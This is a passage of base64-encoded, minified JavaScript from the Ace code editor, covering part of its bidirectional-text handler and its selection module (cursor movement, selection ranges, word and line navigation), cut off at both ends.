sZT1NYXRoLm1heChlLDApLG49MCxyPTAsaT10aGlzLmJpZGlNYXAuYmlkaUxldmVscyxzPXRoaXMuY2hhcldpZHRoc1tpW3JdXTt0aGlzLndyYXBJbmRlbnQmJihlLT10aGlzLmlzUnRsRGlyPy0xKnRoaXMud3JhcE9mZnNldDp0aGlzLndyYXBPZmZzZXQpO3doaWxlKGU+bitzLzIpe24rPXM7aWYocj09PWkubGVuZ3RoLTEpe3M9MDticmVha31zPXRoaXMuY2hhcldpZHRoc1tpWysrcl1dfXJldHVybiByPjAmJmlbci0xXSUyIT09MCYmaVtyXSUyPT09MD8oZTxuJiZyLS0sdD10aGlzLmJpZGlNYXAubG9naWNhbEZyb21WaXN1YWxbcl0pOnI+MCYmaVtyLTFdJTI9PT0wJiZpW3JdJTIhPT0wP3Q9MSsoZT5uP3RoaXMuYmlkaU1hcC5sb2dpY2FsRnJvbVZpc3VhbFtyXTp0aGlzLmJpZGlNYXAubG9naWNhbEZyb21WaXN1YWxbci0xXSk6dGhpcy5pc1J0bERpciYmcj09PWkubGVuZ3RoLTEmJnM9PT0wJiZpW3ItMV0lMj09PTB8fCF0aGlzLmlzUnRsRGlyJiZyPT09MCYmaVtyXSUyIT09MD90PTErdGhpcy5iaWRpTWFwLmxvZ2ljYWxGcm9tVmlzdWFsW3JdOihyPjAmJmlbci0xXSUyIT09MCYmcyE9PTAmJnItLSx0PXRoaXMuYmlkaU1hcC5sb2dpY2FsRnJvbVZpc3VhbFtyXSksdD09PTAmJnRoaXMuaXNSdGxEaXImJnQrKyx0K3RoaXMud3JhcEluZGVudH19KS5jYWxsKG8ucHJvdG90eXBlKSx0LkJpZGlIYW5kbGVyPW99KSxkZWZpbmUoImFjZS9zZWxlY3Rpb24iLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9saWIvbGFuZyIsImFjZS9saWIvZXZlbnRfZW1pdHRlciIsImFjZS9yYW5nZSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi9saWIvb29wIiksaT1lKCIuL2xpYi9sYW5nIikscz1lKCIuL2xpYi9ldmVudF9lbWl0dGVyIikuRXZlbnRFbWl0dGVyLG89ZSgiLi9yYW5nZSIpLlJhbmdlLHU9ZnVuY3Rpb24oZSl7dGhpcy5zZXNzaW9uPWUsdGhpcy5kb2M9ZS5nZXREb2N1bWVudCgpLHRoaXMuY2xlYXJTZWxlY3Rpb24oKSx0aGlzLmN1cnNvcj10aGlzLmxlYWQ9dGhpcy5kb2MuY3JlYXRlQW5jaG9yKDAsMCksdGhpcy5hbmNob3I9dGhpcy5kb2MuY3JlYXRlQW5jaG9yKDAsMCksdGhpcy4kc2lsZW50PSExO3ZhciB0PXRoaXM7dGhpcy5jdXJzb3Iub24oImNoYW5nZSIsZnVuY3Rpb24oZSl7dC4kY3Vyc29yQ2hhbmdlZD0hMCx0LiRzaWxlbnR8fHQuX2VtaXQoImNoYW5nZUN1cnNvciIpLCF0LiRpc0VtcHR5JiYhdC4kc2lsZW50JiZ0Ll9lbWl0KCJjaGFuZ2VTZWxlY3Rpb24iKSwhdC4ka2VlcERlc2lyZWRDb2x1bW5PbkNoYW5nZSYmZS5vbGQuY29sdW1uIT1lLnZhbHVlLmNvbHVtbiYmKHQuJGRlc2lyZWRDb2x1bW49bnVsbCl9KSx0aGlzLmFuY2hvci5vbigiY2hhbmdlIixmdW5jdGlvbigpe3QuJGFuY2hvckNoYW5nZWQ9ITAsIXQuJGlzRW1wdHkmJiF0LiRzaWxlbnQmJnQuX2VtaXQoImNoYW5nZVNlbGVjdGlvbiIpfSl9OyhmdW5jdGlvbigpe3IuaW1wbGVtZW50KHRoaXMscyksdGhpcy5pc0VtcHR5PWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJGlzRW1wdHl8fHRoaXMuYW5jaG9yLnJvdz09dGhpcy5sZWFkLnJvdyYmdGhpcy5hbmNob3IuY29sdW1uPT10aGlzLmxlYWQuY29sdW1ufSx0aGlzLmlzTXVsdGlMaW5lPWZ1bmN0aW9uKCl7cmV0dXJuIXRoaXMuJGlzRW1wdHkmJnRoaXMuYW5jaG9yLnJvdyE9dGhpcy5jdXJzb3Iucm93fSx0aGlzLmdldEN1cnNvcj1mdW5jdGlvbigpe3JldHVybiB0aGlzLmxlYWQuZ2V0UG9zaXRpb24oKX0sdGhpcy5zZXRTZWxlY3Rpb25BbmNob3I9ZnVuY3Rpb24oZSx0KXt0aGlzLiRpc0VtcHR5PSExLHRoaXMuYW5jaG9yLnNldFBvc2l0aW9uKGUsdCl9LHRoaXMuZ2V0QW5jaG9yPXRoaXMuZ2V0U2VsZWN0aW9uQW5jaG9yPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJGlzRW1wdHk/dGhpcy5nZXRTZWxlY3Rpb25MZWFkKCk6dGhpcy5hbmNob3IuZ2V0UG9zaXRpb24oKX0sdGhpcy5nZXRTZWxlY3Rpb25MZWFkPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVhZC5nZXRQb3NpdGlvbigpfSx0aGlzLmlzQmFja3dhcmRzPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5hbmNob3IsdD10aGlzLmxlYWQ7cmV0dXJuIGUucm93PnQucm93fHxlLnJvdz09dC5yb3cmJmUuY29sdW1uPnQuY29sdW1ufSx0aGlzLmdldFJhbmdlPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5hbmNob3IsdD10aGlzLmxlYWQ7cmV0dXJuIHRoaXMuJGlzRW1wdHk/by5mcm9tUG9pbnRzKHQsdCk6dGhpcy5pc0JhY2t3YXJkcygpP28uZnJvbVBvaW50cyh0LGUpOm8uZnJvbVBvaW50cyhlLHQpfSx0aGlzLmNsZWFyU2VsZWN0aW9uPWZ1bmN0aW9uKCl7dGhpcy4kaXNFbXB0eXx8KHRoaXMuJGlzRW1wdHk9ITAsdGhpcy5fZW1pdCgiY2hhbmdlU2VsZWN0aW9uIikpfSx0aGlzLnNlbGVjdEFsbD1mdW5jdGlvbigpe3RoaXMuJHNldFNlbGVjdGlvbigwLDAsTnVtYmVyLk1BWF9WQUxVRSxOdW1iZXIuTUFYX1ZBTFVFKX0sdGhpcy5zZXRSYW5nZT10aGlzLnNldFNlbGVjdGlvblJhbmdlPWZ1bmN0aW9uKGUsdCl7dmFyIG49dD9lLmVuZDplLnN0YXJ0LHI9dD9lLnN0YXJ0OmUuZW5kO3RoaXMuJHNldFNlbGVjdGlvbihuLnJvdyxuLmNvbHVtbixyLnJvdyxyLmNvbHVtbil9LHRoaXMuJHNldFNlbGVjdGlvbj1mdW5jdGlvbihlLHQsbixyKXtpZih0aGlzLiRzaWxlbnQpcmV0dXJuO3ZhciBpPXRoaXMuJGlzRW1wdHkscz10aGlzLmluTXVsdGlTZWxlY3RNb2RlO3RoaXMuJHNpbGVudD0hMCx0aGlzLiRjdXJzb3JDaGFuZ2VkPXRoaXMuJGFuY2hvckNoYW5nZWQ9ITEsdGhpcy5hbmNob3Iuc2V0UG9zaXRpb24oZSx0KSx0aGlzLmN1cnNvci5zZXRQb3NpdGlvbihuLHIpLHRoaXMuJGlzRW1wdHk9IW8uY29tcGFyZVBvaW50cyh0aGlzLmFuY2hvcix0aGlzLmN1cnNvciksdGhpcy4kc2lsZW50PSExLHRoaXMuJGN1cnNvckNoYW5nZWQmJnRoaXMuX2VtaXQoImNoYW5nZUN1cnNvciIpLCh0aGlzLiRjdXJzb3JDaGFuZ2VkfHx0aGlzLiRhbmNob3JDaGFuZ2VkfHxpIT10aGlzLiRpc0VtcHR5fHxzKSYmdGhpcy5fZW1pdCgiY2hhbmdlU2VsZWN0aW9uIil9LHRoaXMuJG1vdmVTZWxlY3Rpb249ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5sZWFkO3RoaXMuJGlzRW1wdHkmJnRoaXMuc2V0U2VsZWN0aW9uQW5jaG9yKHQucm93LHQuY29sdW1uKSxlLmNhbGwodGhpcyl9LHRoaXMuc2VsZWN0VG89ZnVuY3Rpb24oZSx0KXt0aGlzLiRtb3ZlU2VsZWN0aW9uKGZ1bmN0aW9uKCl7dGhpcy5tb3ZlQ3Vyc29yVG8oZSx0KX0pfSx0aGlzLnNlbGVjdFRvUG9zaXRpb249ZnVuY3Rpb24oZSl7dGhpcy4kbW92ZVNlbGVjdGlvbihmdW5jdGlvbigpe3RoaXMubW92ZUN1cnNvclRvUG9zaXRpb24oZSl9KX0sdGhpcy5tb3ZlVG89ZnVuY3Rpb24oZSx0KXt0aGlzLmNsZWFyU2VsZWN0aW9uKCksdGhpcy5tb3ZlQ3Vyc29yVG8oZSx0KX0sdGhpcy5tb3ZlVG9Qb3NpdGlvbj1mdW5jdGlvbihlKXt0aGlzLmNsZWFyU2VsZWN0aW9uKCksdGhpcy5tb3ZlQ3Vyc29yVG9Qb3NpdGlvbihlKX0sdGhpcy5zZWxlY3RVcD1mdW5jdGlvbigpe3RoaXMuJG1vdmVTZWxlY3Rpb24odGhpcy5tb3ZlQ3Vyc29yVXApfSx0aGlzLnNlbGVjdERvd249ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlU2VsZWN0aW9uKHRoaXMubW92ZUN1cnNvckRvd24pfSx0aGlzLnNlbGVjdFJpZ2h0PWZ1bmN0aW9uKCl7dGhpcy4kbW92ZVNlbGVjdGlvbih0aGlzLm1vdmVDdXJzb3JSaWdodCl9LHRoaXMuc2VsZWN0TGVmdD1mdW5jdGlvbigpe3RoaXMuJG1vdmVTZWxlY3Rpb24odGhpcy5tb3ZlQ3Vyc29yTGVmdCl9LHRoaXMuc2VsZWN0TGluZVN0YXJ0PWZ1bmN0aW9uKCl7dGhpcy4kbW92ZVNlbGVjdGlvbih0aGlzLm1vdmVDdXJzb3JMaW5lU3RhcnQpfSx0aGlzLnNlbGVjdExpbmVFbmQ9ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlU2VsZWN0aW9uKHRoaXMubW92ZUN1cnNvckxpbmVFbmQpfSx0aGlzLnNlbGVjdEZpbGVFbmQ9ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlU2VsZWN0aW9uKHRoaXMubW92ZUN1cnNvckZpbGVFbmQpfSx0aGlzLnNlbGVjdEZpbGVTdGFydD1mdW5jdGlvbigpe3RoaXMuJG1vdmVTZWxlY3Rpb24odGhpcy5tb3ZlQ3Vyc29yRmlsZVN0YXJ0KX0sdGhpcy5zZWxlY3RXb3JkUmlnaHQ9ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlU2VsZWN0aW9uKHRoaXMubW92ZUN1cnNvcldvcmRSaWdodCl9LHRoaXMuc2VsZWN0V29yZExlZnQ9ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlU2VsZWN0aW9uKHRoaXMubW92ZUN1cnNvcldvcmRMZWZ0KX0sdGhpcy5nZXRXb3JkUmFuZ2U9ZnVuY3Rpb24oZSx0KXtpZih0eXBlb2YgdD09InVuZGVmaW5lZCIpe3ZhciBuPWV8fHRoaXMubGVhZDtlPW4ucm93LHQ9bi5jb2x1bW59cmV0dXJuIHRoaXMuc2Vzc2lvbi5nZXRXb3JkUmFuZ2UoZSx0KX0sdGhpcy5zZWxlY3RXb3JkPWZ1bmN0aW9uKCl7dGhpcy5zZXRTZWxlY3Rpb25SYW5nZSh0aGlzLmdldFdvcmRSYW5nZSgpKX0sdGhpcy5zZWxlY3RBV29yZD1mdW5jdGlvbigpe3ZhciBlPXRoaXMuZ2V0Q3Vyc29yKCksdD10aGlzLnNlc3Npb24uZ2V0QVdvcmRSYW5nZShlLnJvdyxlLmNvbHVtbik7dGhpcy5zZXRTZWxlY3Rpb25SYW5nZSh0KX0sdGhpcy5nZXRMaW5lUmFuZ2U9ZnVuY3Rpb24oZSx0KXt2YXIgbj10eXBlb2YgZT09Im51bWJlciI/ZTp0aGlzLmxlYWQucm93LHIsaT10aGlzLnNlc3Npb24uZ2V0Rm9sZExpbmUobik7cmV0dXJuIGk/KG49aS5zdGFydC5yb3cscj1pLmVuZC5yb3cpOnI9bix0PT09ITA/bmV3IG8obiwwLHIsdGhpcy5zZXNzaW9uLmdldExpbmUocikubGVuZ3RoKTpuZXcgbyhuLDAscisxLDApfSx0aGlzLnNlbGVjdExpbmU9ZnVuY3Rpb24oKXt0aGlzLnNldFNlbGVjdGlvblJhbmdlKHRoaXMuZ2V0TGluZVJhbmdlKCkpfSx0aGlzLm1vdmVDdXJzb3JVcD1mdW5jdGlvbigpe3RoaXMubW92ZUN1cnNvckJ5KC0xLDApfSx0aGlzLm1vdmVDdXJzb3JEb3duPWZ1bmN0aW9uKCl7dGhpcy5tb3ZlQ3Vyc29yQnkoMSwwKX0sdGhpcy53b3VsZE1vdmVJbnRvU29mdFRhYj1mdW5jdGlvbihlLHQsbil7dmFyIHI9ZS5jb2x1bW4saT1lLmNvbHVtbit0O3JldHVybiBuPDAmJihyPWUuY29sdW1uLXQsaT1lLmNvbHVtbiksdGhpcy5zZXNzaW9uLmlzVGFiU3RvcChlKSYmdGhpcy5kb2MuZ2V0TGluZShlLnJvdykuc2xpY2UocixpKS5zcGxpdCgiICIpLmxlbmd0aC0xPT10fSx0aGlzLm1vdmVDdXJzb3JMZWZ0PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5sZWFkLmdldFBvc2l0aW9uKCksdDtpZih0PXRoaXMuc2Vzc2lvbi5nZXRGb2xkQXQoZS5yb3csZS5jb2x1bW4sLTEpKXRoaXMubW92ZUN1cnNvclRvKHQuc3RhcnQucm93LHQuc3RhcnQuY29sdW1uKTtlbHNlIGlmKGUuY29sdW1uPT09MCllLnJvdz4wJiZ0aGlzLm1vdmVDdXJzb3JUbyhlLnJvdy0xLHRoaXMuZG9jLmdldExpbmUoZS5yb3ctMSkubGVuZ3RoKTtlbHNle3ZhciBuPXRoaXMuc2Vzc2lvbi5nZXRUYWJTaXplKCk7dGhpcy53b3VsZE1vdmVJbnRvU29mdFRhYihlLG4sLTEpJiYhdGhpcy5zZXNzaW9uLmdldE5hdmlnYXRlV2l0aGluU29mdFRhYnMoKT90aGlzLm1vdmVDdXJzb3JCeSgwLC1uKTp0aGlzLm1vdmVDdXJzb3JCeSgwLC0xKX19LHRoaXMubW92ZUN1cnNvclJpZ2h0PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5sZWFkLmdldFBvc2l0aW9uKCksdDtpZih0PXRoaXMuc2Vzc2lvbi5nZXRGb2xkQXQoZS5yb3csZS5jb2x1bW4sMSkpdGhpcy5tb3ZlQ3Vyc29yVG8odC5lbmQucm93LHQuZW5kLmNvbHVtbik7ZWxzZSBpZih0aGlzLmxlYWQuY29sdW1uPT10aGlzLmRvYy5nZXRMaW5lKHRoaXMubGVhZC5yb3cpLmxlbmd0aCl0aGlzLmxlYWQucm93PHRoaXMuZG9jLmdldExlbmd0aCgpLTEmJnRoaXMubW92ZUN1cnNvclRvKHRoaXMubGVhZC5yb3crMSwwKTtlbHNle3ZhciBuPXRoaXMuc2Vzc2lvbi5nZXRUYWJTaXplKCksZT10aGlzLmxlYWQ7dGhpcy53b3VsZE1vdmVJbnRvU29mdFRhYihlLG4sMSkmJiF0aGlzLnNlc3Npb24uZ2V0TmF2aWdhdGVXaXRoaW5Tb2Z0VGFicygpP3RoaXMubW92ZUN1cnNvckJ5KDAsbik6dGhpcy5tb3ZlQ3Vyc29yQnkoMCwxKX19LHRoaXMubW92ZUN1cnNvckxpbmVTdGFydD1mdW5jdGlvbigpe3ZhciBlPXRoaXMubGVhZC5yb3csdD10aGlzLmxlYWQuY29sdW1uLG49dGhpcy5zZXNzaW9uLmRvY3VtZW50VG9TY3JlZW5Sb3coZSx0KSxyPXRoaXMuc2Vzc2lvbi5zY3JlZW5Ub0RvY3VtZW50UG9zaXRpb24obiwwKSxpPXRoaXMuc2Vzc2lvbi5nZXREaXNwbGF5TGluZShlLG51bGwsci5yb3csci5jb2x1bW4pLHM9aS5tYXRjaCgvXlxzKi8pO3NbMF0ubGVuZ3RoIT10JiYhdGhpcy5zZXNzaW9uLiR1c2VFbWFjc1N0eWxlTGluZVN0YXJ0JiYoci5jb2x1bW4rPXNbMF0ubGVuZ3RoKSx0aGlzLm1vdmVDdXJzb3JUb1Bvc2l0aW9uKHIpfSx0aGlzLm1vdmVDdXJzb3JMaW5lRW5kPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5sZWFkLHQ9dGhpcy5zZXNzaW9uLmdldERvY3VtZW50TGFzdFJvd0NvbHVtblBvc2l0aW9uKGUucm93LGUuY29sdW1uKTtpZih0aGlzLmxlYWQuY29sdW1uPT10LmNvbHVtbil7dmFyIG49dGhpcy5zZXNzaW9uLmdldExpbmUodC5yb3cpO2lmKHQuY29sdW1uPT1uLmxlbmd0aCl7dmFyIHI9bi5zZWFyY2goL1xzKyQvKTtyPjAmJih0LmNvbHVtbj1yKX19dGhpcy5tb3ZlQ3Vyc29yVG8odC5yb3csdC5jb2x1bW4pfSx0aGlzLm1vdmVDdXJzb3JGaWxlRW5kPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5kb2MuZ2V0TGVuZ3RoKCktMSx0PXRoaXMuZG9jLmdldExpbmUoZSkubGVuZ3RoO3RoaXMubW92ZUN1cnNvclRvKGUsdCl9LHRoaXMubW92ZUN1cnNvckZpbGVTdGFydD1mdW5jdGlvbigpe3RoaXMubW92ZUN1cnNvclRvKDAsMCl9LHRoaXMubW92ZUN1cnNvckxvbmdXb3JkUmlnaHQ9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmxlYWQucm93LHQ9dGhpcy5sZWFkLmNvbHVtbixuPXRoaXMuZG9jLmdldExpbmUoZSkscj1uLnN1YnN0cmluZyh0KTt0aGlzLnNlc3Npb24ubm9uVG9rZW5SZS5sYXN0SW5kZXg9MCx0aGlzLnNlc3Npb24udG9rZW5SZS5sYXN0SW5kZXg9MDt2YXIgaT10aGlzLnNlc3Npb24uZ2V0Rm9sZEF0KGUsdCwxKTtpZihpKXt0aGlzLm1vdmVDdXJzb3JUbyhpLmVuZC5yb3csaS5lbmQuY29sdW1uKTtyZXR1cm59dGhpcy5zZXNzaW9uLm5vblRva2VuUmUuZXhlYyhyKSYmKHQrPXRoaXMuc2Vzc2lvbi5ub25Ub2tlblJlLmxhc3RJbmRleCx0aGlzLnNlc3Npb24ubm9uVG9rZW5SZS5sYXN0SW5kZXg9MCxyPW4uc3Vic3RyaW5nKHQpKTtpZih0Pj1uLmxlbmd0aCl7dGhpcy5tb3ZlQ3Vyc29yVG8oZSxuLmxlbmd0aCksdGhpcy5tb3ZlQ3Vyc29yUmlnaHQoKSxlPHRoaXMuZG9jLmdldExlbmd0aCgpLTEmJnRoaXMubW92ZUN1cnNvcldvcmRSaWdodCgpO3JldHVybn10aGlzLnNlc3Npb24udG9rZW5SZS5leGVjKHIpJiYodCs9dGhpcy5zZXNzaW9uLnRva2VuUmUubGFzdEluZGV4LHRoaXMuc2Vzc2lvbi50b2tlblJlLmxhc3RJbmRleD0wKSx0aGlzLm1vdmVDdXJzb3JUbyhlLHQpfSx0aGlzLm1vdmVDdXJzb3JMb25nV29yZExlZnQ9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmxlYWQucm93LHQ9dGhpcy5sZWFkLmNvbHVtbixuO2lmKG49dGhpcy5zZXNzaW9uLmdldEZvbGRBdChlLHQsLTEpKXt0aGlzLm1vdmVDdXJzb3JUbyhuLnN0YXJ0LnJvdyxuLnN0YXJ0LmNvbHVtbik7cmV0dXJufXZhciByPXRoaXMuc2Vzc2lvbi5nZXRGb2xkU3RyaW5nQXQoZSx0LC0xKTtyPT1udWxsJiYocj10aGlzLmRvYy5nZXRMaW5lKGUpLnN1YnN0cmluZygwLHQpKTt2YXIgcz1pLnN0cmluZ1JldmVyc2Uocik7dGhpcy5zZXNzaW9uLm5vblRva2VuUmUubGFzdEluZGV4PTAsdGhpcy5zZXNzaW9uLnRva2VuUmUubGFzdEluZGV4PTAsdGhpcy5zZXNzaW9uLm5vblRva2VuUmUuZXhlYyhzKSYmKHQtPXRoaXMuc2Vzc2lvbi5ub25Ub2tlblJlLmxhc3RJbmRleCxzPXMuc2xpY2UodGhpcy5zZXNzaW9uLm5vblRva2VuUmUubGFzdEluZGV4KSx0aGlzLnNlc3Npb24ubm9uVG9rZW5SZS5sYXN0SW5kZXg9MCk7aWYodDw9MCl7dGhpcy5tb3ZlQ3Vyc29yVG8oZSwwKSx0aGlzLm1vdmVDdXJzb3JMZWZ0KCksZT4wJiZ0aGlzLm1vdmVDdXJzb3JXb3JkTGVmdCgpO3JldHVybn10aGlzLnNlc3Npb24udG9rZW5SZS5leGVjKHMpJiYodC09dGhpcy5zZXNzaW9uLnRva2VuUmUubGFzdEluZGV4LHRoaXMuc2Vzc2lvbi50b2tlblJlLmxhc3RJbmRleD0wKSx0aGlzLm1vdmVDdXJzb3JUbyhlLHQpfSx0aGlzLiRzaG9ydFdvcmRFbmRJbmRleD1mdW5jdGlvbihlKXt2YXIgdD0wLG4scj0vXHMvLGk9dGhpcy5zZXNzaW9uLnRva2VuUmU7aS5sYXN0SW5kZXg9MDtpZih0aGlzLnNlc3Npb24udG9rZW5SZS5leGVjKGUpKXQ9dGhpcy5zZXNzaW9uLnRva2VuUmUubGFzdEluZGV4O2Vsc2V7d2hpbGUoKG49ZVt0XSkmJnIudGVzdChuKSl0Kys7aWYodDwxKXtpLmxhc3RJbmRleD0wO3doaWxlKChuPWVbdF0pJiYhaS50ZXN0KG4pKXtpLmxhc3RJbmRleD0wLHQrKztpZihyLnRlc3Qobikpe2lmKHQ+Mil7dC0tO2JyZWFrfXdoaWxlKChuPWVbdF0pJiZyLnRlc3QobikpdCsrO2lmKHQ+MilicmVha319fX1yZXR1cm4gaS5sYXN0SW5kZXg9MCx0fSx0aGlzLm1vdmVDdXJzb3JTaG9ydFdvcmRSaWdodD1mdW5jdGlvbigpe3ZhciBlPXRoaXMubGVhZC5yb3csdD10aGlzLmxlYWQuY29sdW1uLG49dGhpcy5kb2MuZ2V0TGluZShlKSxyPW4uc3Vic3RyaW5nKHQpLGk9dGhpcy5zZXNzaW9uLmdldEZvbGRBdChlLHQsMSk7aWYoaSlyZXR1cm4gdGhpcy5tb3ZlQ3Vyc29yVG8oaS5lbmQucm93LGkuZW5kLmNvbHVtbik7aWYodD09bi5sZW5ndGgpe3ZhciBzPXRoaXMuZG9jLmdldExlbmd0aCgpO2RvIGUrKyxyPXRoaXMuZG9jLmdldExpbmUoZSk7d2hpbGUoZTxzJiYvXlxzKiQvLnRlc3QocikpOy9eXHMrLy50ZXN0KHIpfHwocj0iIiksdD0wfXZhciBvPXRoaXMuJHNob3J0V29yZEVuZEluZGV4KHIpO3RoaXMubW92ZUN1cnNvclRvKGUsdCtvKX0sdGhpcy5tb3ZlQ3Vyc29yU2hvcnRXb3JkTGVmdD1mdW5jdGlvbigpe3ZhciBlPXRoaXMubGVhZC5yb3csdD10aGlzLmxlYWQuY29sdW1uLG47aWYobj10aGlzLnNlc3Npb24uZ2V0Rm9sZEF0KGUsdCwtMSkpcmV0dXJuIHRoaXMubW92ZUN1cnNvclRvKG4uc3RhcnQucm93LG4uc3RhcnQuY29sdW1uKTt2YXIgcj10aGlzLnNlc3Npb24uZ2V0TGluZShlKS5zdWJzdHJpbmcoMCx0KTtpZih0PT09MCl7ZG8gZS0tLHI9dGhpcy5kb2MuZ2V0TGluZShlKTt3aGlsZShlPjAmJi9eXHMqJC8udGVzdChyKSk7dD1yLmxlbmd0aCwvXHMrJC8udGVzdChyKXx8KHI9IiIpfXZhciBzPWkuc3RyaW5nUmV2ZXJzZShyKSxvPXRoaXMuJHNob3J0V29yZEVuZEluZGV4KHMpO3JldHVybiB0aGlzLm1vdmVDdXJzb3JUbyhlLHQtbyl9LHRoaXMubW92ZUN1cnNvcldvcmRSaWdodD1mdW5jdGlvbigpe3RoaXMuc2Vzc2lvbi4kc2VsZWN0TG9uZ1dvcmRzP3RoaXMubW92ZUN1cnNvckxvbmdXb3JkUmlnaHQoKTp0aGlzLm1vdmVDdXJzb3JTaG9ydFdvcmRSaWdodCgpfSx0aGlzLm1vdmVDdXJzb3JXb3JkTGVmdD1mdW5jdGlvbigpe3RoaXMuc2Vzc2lvbi4kc2VsZWN0TG9uZ1dvcmRzP3RoaXMubW92ZUN1cnNvckxvbmdXb3JkTGVmdCgpOnRoaXMubW92ZUN1cnNvclNob3J0V29yZExlZnQoKX0sdGhpcy5tb3ZlQ3Vyc29yQnk9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLnNlc3Npb24uZG9jdW1lbnRUb1NjcmVlblBvc2l0aW9uKHRoaXMubGVhZC5yb3csdGhpcy5sZWFkLmNvbHVtbikscjt0PT09MCYmKGUhPT0wJiYodGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlci5pc0JpZGlSb3cobi5yb3csdGhpcy5sZWFkLnJvdyk/KHI9dGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlci5nZXRQb3NMZWZ0KG4uY29sdW1uKSxuLmNvbHVtbj1NYXRoLnJvdW5kKHIvdGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlci5jaGFyV2lkdGhzWzBdKSk6cj1uLmNvbHVtbip0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLmNoYXJXaWR0aHNbMF0pLHRoaXMuJGRlc2lyZWRDb2x1bW4/bi5jb2x1bW49dGhpcy4kZGVzaXJlZENvbHVtbjp0aGlzLiRkZXNpcmVkQ29sdW1uPW4uY29sdW1uKTtpZihlIT0wJiZ0aGlzLnNlc3Npb24ubGluZVdpZGdldHMmJnRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0c1t0aGlzLmxlYWQucm93XSl7dmFyIGk9dGhpcy5zZXNzaW9uLmxpbmVXaWRnZXRzW3RoaXMubGVhZC5yb3ddO2U8MD9lLT1pLnJvd3NBYm92ZXx8MDplPjAmJihlKz1pLnJvd0NvdW50LShpLnJvd3NBYm92ZXx8MCkpfXZhciBzPXRoaXMuc2Vzc2lvbi5zY3JlZW5Ub0RvY3VtZW50UG9zaXRpb24obi5yb3crZSxuLmNvbHVtbixyKTtlIT09MCYmdD09PTAmJnMucm93PT09dGhpcy5sZWFkLnJvdyYmcy5jb2x1bW49PT10aGlzLmxlYWQuY29sdW1uLHRoaXMubW92ZUN1cnNvclRvKHMucm93LHMuY29sdW1uK3QsdD09PTApfSx0aGlzLm1vdmVDdXJzb3JUb1Bvc2l0aW9uPWZ1bmN0aW9uKGUpe3RoaXMubW92ZUN1cnNvclRvKGUucm93LGUuY29sdW1uKX0sdGhpcy5tb3ZlQ3Vyc29yVG89ZnVuY3Rpb24oZSx0LG4pe3ZhciByPXRoaXMuc2Vzc2lvbi5nZXRGb2xkQXQoZSx0LDEpO3ImJihlPXIuc3RhcnQucm93LHQ9ci5zdGFydC5jb2x1bW4pLHRoaXMuJGtlZXBEZXNpcmVkQ29sdW1uT25DaGFuZ2U9ITA7dmFyIGk9dGhpcy5zZXNzaW9uLmdldExpbmUoZSk7L1tcdURDMDAtXHVERkZGXS8udGVzdChpLmNoYXJBdCh0KSkmJmkuY2hhckF0KHQtMSkmJih0aGlzLmxlYWQucm93PT1lJiZ0aGlzLmxlYWQuY29sdW1uPT10KzE/dC09MTp0Kz0xKSx0aGlzLmxlYWQuc2V0UG9zaXRpb24oZSx0KSx0aGlzLiRrZWVwRGVzaXJlZENvbHVtbk9uQ2hhbmdlPSExLG58fCh0aGlzLiRkZXNpcmVkQ29sdW1uPW51bGwpfSx0aGlzLm1vdmVDdXJzb3JUb1NjcmVlbj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dGhpcy5zZXNzaW9uLnNjcmVlblRvRG9jdW1lbnRQb3NpdGlvbihlLHQpO3RoaXMubW92ZUN1cnNvclRvKHIucm93LHIuY29sdW1uLG4pfSx0aGlzLmRldGFjaD1mdW5jdGlvbigpe3RoaXMubGVhZC5kZXRhY2goKSx0aGlzLmFuY2hvci5kZXRhY2goKX0sdGhpcy5mcm9tT3JpZW50ZWRSYW5nZT1mdW5jdGlvbihlKXt0aGlzLnNldFNlbGVjdGlvblJhbmdlKGUsZS5jdXJzb3I9PWUuc3RhcnQpLHRoaXMuJGRlc2lyZWRDb2x1bW49ZS5kZXNpcmVkQ29sdW1ufHx0aGlzLiRkZXNpcmVkQ29sdW1ufSx0aGlzLnRvT3JpZW50ZWRSYW5nZT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmdldFJhbmdlKCk7cmV0dXJuIGU/KGUuc3RhcnQuY29sdW1uPXQuc3RhcnQuY29sdW1uLGUuc3RhcnQucm93PXQuc3RhcnQucm93LGUuZW5kLmNvbHVtbj10LmVuZC5jb2x1bW4sZS5lbmQucm93PXQuZW5kLnJvdyk6ZT10LGUuY3Vyc29yPXRoaXMuaXNCYWNrd2FyZHMoKT9lLnN0YXJ0OmUuZW5kLGUuZGVzaXJlZENvbHVtbj10aGlzLiRkZXNpcmVkQ29sdW1uLGV9LHRoaXMuZ2V0UmFuZ2VPZk1vdmVtZW50cz1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmdldEN1cnNvcigpO3RyeXtlKHRoaXMpO3ZhciBuPXRoaXMuZ2V0Q3Vyc29yKCk7cmV0dXJuIG8uZnJvbVBvaW50cyh0LG4pfWNhdGNoKHIpe3JldHVybiBvLmZyb21Qb2ludHModCx0KX1maW5hbGx5e3RoaXMubW92ZUN1cnNvclRvUG9zaXRpb24odCl9fSx0aGlzLnRvSlNPTj1mdW5jdGlvbigpe2lmKHRoaXMucmFuZ2VDb3VudCl